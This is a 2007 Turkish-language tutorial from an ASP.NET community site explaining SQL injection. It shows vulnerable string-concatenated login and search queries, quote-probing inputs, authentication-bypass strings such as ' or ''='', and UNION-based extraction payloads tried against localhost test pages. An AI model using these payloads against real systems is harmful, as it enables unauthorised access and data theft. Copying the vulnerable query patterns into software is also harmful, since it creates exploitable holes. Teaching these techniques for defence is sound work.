Editor Login | Register
Ekle

> Akademik İnternet ® > ASP.NET
SQL INJECTION -1 - ASP.NET - Akademik İnternet ® -
Tahkikat-ı Enderun
(Date : 28.12.2007 18:25:09)
%10


SQL INJECTION -1

Merhaba değerli arkadaşlar. Sizlere bu makalemde “SQL injection nedir ve nasıl korunabiliriz” hakkında bir örnekle birlikte bilgi vereceğim.

1. SQL INJECTION NEDİR?

Bu soruyu cevaplamanın en iyi yolu ilk önce injectionun anlamını bulmaktır.

Seslisozlukte alttaki açıklamayı buldum.

1. zerk, enjeksiyon, tıb; içeri atma; islim kazanına soğuk su sıkma; içeriye atılan şey; injection cock püskürtme musluğu, injection engine soğuk su sıkarak islimi yoğunlaştıran makina, konu dışı bir fikri ortaya atma, inj, kondanseli makina.

2. iğne. enjeksiyon.

Bu bağlamda şimdi diyebiliriz ki; SQL injection zayıf ve güvensiz bir şekilde database’e bağlantısı olan yazılımlarda bu bağlantıda kullanılan sorguya kendi SQL kodumuzu enjekte etmektir.

SAYFANIN SQL AÇIKLARINA KARŞI KONTROLÜ

Burada kontrol textboxlardan birine tek bir tek tırnak koyarak başlar. Sayfa geriye güzel boş bir beyaz ekran ve ODBC hatası döner. Fakat durum her zaman böyle olmaz.

Bazen bir controlde var olan açıklık bir diğerinde olmaz. Kimi zaman bir sayfada birden fazla programcı çalışır ve kontrollerin yazılım tarzı farklılaşabilir. Bu yuzden açıkları tek tek dikkatlice aramak gerekir. Hiç birini atlamadan.

Hatalardan öğrenmek en önemli açık bulma yöntemidir. Bunun için bir kontrolu test ederken bir diğer kontrole doğru datayı girmek en doğrusu olacaktır.

Sayfa http Post methodu ile post ederken bir kontrole girdiğimiz

ContactName= Maria Anders

CompanyName=’ or

ContactName=Maria%20Anders&CompanyName=‘%20OR

Sonucunu çıkarırken

Contact name’e gireceğimiz yanlış bir değer ContactName bölümündeki hatayı görmemizi engeller.

CompanyName=‘

ContactName=BadContactName&CompanyName=‘

Ataklar

Bu bölüm aşağıdaki SQL injection yollarından bahseder...

Authorization geçişi

SELECT komutunun kullanımı

INSERT komutunun kullanımı

SQL Server Stored Prosedürlerinin kullanımı

Authorization Bypass

En basit SQL injection tekniği logon formlarındadır. Aşağıdaki web sayfasındaki kodu düşünün:

SQLQuery = "SELECT Username FROM Users WHERE Username = ‘" & strUsername & "‘ AND Password = ‘" & strPassword & "‘"

strAuthCheck = GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Else boolAuthenticated = True End If

Burada kullanıcı isim ve şifre verdiğinde, query Users tablosuna gider ve belirtilen isimde ve şifreye sahip kullanıcı varmı diye bakar. Eğer bulunursa, kullanıcı ismi strAuthCheck değişkenine atanır ki buda kullanıcının giriş iznidir. Eğer bulunmazsa strAuthCheck boş olacaktır buda kullanıcının giriş izni olmadığı anlamına gelir.

Eğer kullanıcı ismi ve şifre her türlü karakteri kabul ederse ne olur?

Kullanıcı: ‘ or ‘’=’’

Şifre : ‘ or ‘’=‘’

Sorgu aşağıdaki hale gelir:

SELECT Username FROM Users WHERE Username = ‘‘ OR ‘‘=‘‘ AND Password = ‘‘ OR ‘‘=‘‘

Tabloda kullanıcını girdiği kullanıcı ismini kontrol edeceğine sorgu ‘’=’’ kısmını kontrol eder ki bu her zaman TRUE döner. ‘’ nothing anlamı taşır. Unutmayalım nothing Null’dan farklıdır. strAuthCheck, Users tablosundaki en son kullanıcının kullanıcı ismini alır ve kullanı içeri giriş iznine erişir.

SELECT Komutunun Kullanımı

Bir çok durumda işe tersten başlamak gerekebilir. Yani gelen hata mesajlarından SQL injection kodumuzu değiştirmemiz gerekir. Unutmayalım ki kendi sayfamızdaki açıkların, kendi tarafımızdan yakalanması, kötü niyetli olabilecek başkaları tarafından yakalanmasından daha iyidir.

Karşılaşabileceğiniz ilk hata syntax hatasıdır. Bunun anlamı sorgu gerekli SQL yapısına uygun değil anlamı taşır. İlk yapılacak iş tek tırnaksız bir injection mümkünmü buna bakmaktır.

Direk injectionda veri sorguda direk olarak kullanılabilir. Kontrole verilmesi gereken tipte bir değer atayıp bir boşlukla OR ekleyin. Eğer bu bir hata döndürüyorsa bu sorgu direk injectiona açıktır.

Sorgu aşağıdaki gibi olabilir.

SQLString = “Select FirstName, LastName, Title from Employees where EmployeeID= “ & intEmployeeID

Veya bir kolon ismi bile olabilir

SQLString = “Select Firstname, LastName, Title from employees order by ” & strColumn

Diğer tırnaklı injection açıklarında alınan değerin başı ve sonuna tırnak eklidir.

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = ‘" & strCity & "‘"

Bu tür injectionlarda yapılacak injection ektinin başı ve sonuna tek tırnak koymalıyız.

Ufak bir açıkta hatırlatalımki MSSQL Server ;-- (noktalı virgül ve iki slash) tan sonra gelen komutları alakaya almaz . Fakat bu sadece MSSQL Server için geçerlidir.

Temel UNION ifadeleri Dinamik içeriği olan çoğu sayfa SELECT komutunu kullanır. Bu komut bağlamında WHERE komutunu kullanma ihtiyacı doğacaktır.

WHERE komutunun içine gelecek sınırlamalar bizim bakmamız gereken açıklar olacaktır.

Kontrole girilecek 1=1 ifadesi bütün bilgilerin görünümü anlamına gelir.

SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1

Düşününki alttaki kodla karşı karşıyasınız.

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘" & strCity & "‘"

Ve siz aşağıdaki injection’u yaptınız.

‘yahyamahmuthasan UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘

İnjectiondan sonra sorgunun aldığı durum alttadır.

SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘yahyamahmuthasan‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘‘

Database sorgumuzu inceler ve Employees tablosunun City kolonunda ‘yahyamahmuthasan’ adında bir şehir bulamayacağından bu bölümü boş geçip bir sonraki bölüme gelir yani bir sonraki tablonun bilgilerine.

Aşağıdaki satıra göre şekildeki hata sayfası alındı..

http://localhost/simpleunquoted.asp?city=-1 UNION SELECT Otherfield FROM OtherTable WHERE 1=1

Benzer hata aşağıdaki satırdaki kodlada alındı..

http://localhost/simplequoted.asp?city=’UNION SELECT Otherfield FROM OtherTable WHERE “=’

Syntax Hataları ile Açık Aramak

Bazı database serverları hata mesajlarında sorgunun bir parçasını bize gösterirler. Bu yolla bilinçli bir şekilde gireceğimiz hatalı data bize server ve database yapısı hakkında bilgi verir.

Aşağıda kullanılabilecek bazı giriş bilgileri var ve bunlar kullanışlı olabilecektir.

‘ BadValue’
‘BadValue ‘
‘OR ‘
‘ OR
;
9,9,9

Parantezler

Eğer syntax hatası parantez içeriyorsa (bir sonraki örnekle gelen hatadaki gibi) veya hata parantez eksikliğinden yakınıyorsa, sorguda bad value olarak belirttiği kısma parantez ekleyin. Bazan birden fazla paranteze ihtiyaç olabilir.

mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ‘" & strCity & "‘)"

buraya yapılacak injection:

“‘) UNION SELECT OtherField FROM OtherTable WHERE (‘‘=‘”,

Aşağıdaki sorgu servera gönderilecektir

SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ‘‘) UNION SELECT OtherField From OtherTable WHERE (‘‘=‘‘)

Sayfa aşağıdaki değere göre yukarıdaki hata sayfasını döner.

http://localhost/parenthesis.asp?city=’

Aşağıdaki değerlerle yine aynı yukarıdaki hata sayfası döner

http://localhost/ parenthesis.asp?city=’) UNION SELECT Otherfield FROM OtherTable WHERE ( “=’

Kaynaklarim:

http://www.sitepoint.com/article/sql-injection-attacks-safe

http://www.spidynamics.com













Derecelendir
Kaynak Tahkikat-ı Enderun Tarafından yazılmış/derlenmiştir.
İçerik İhbarı
Bağlantılar: bilgininefendisi.net

Open Source Document Project AUP&TOS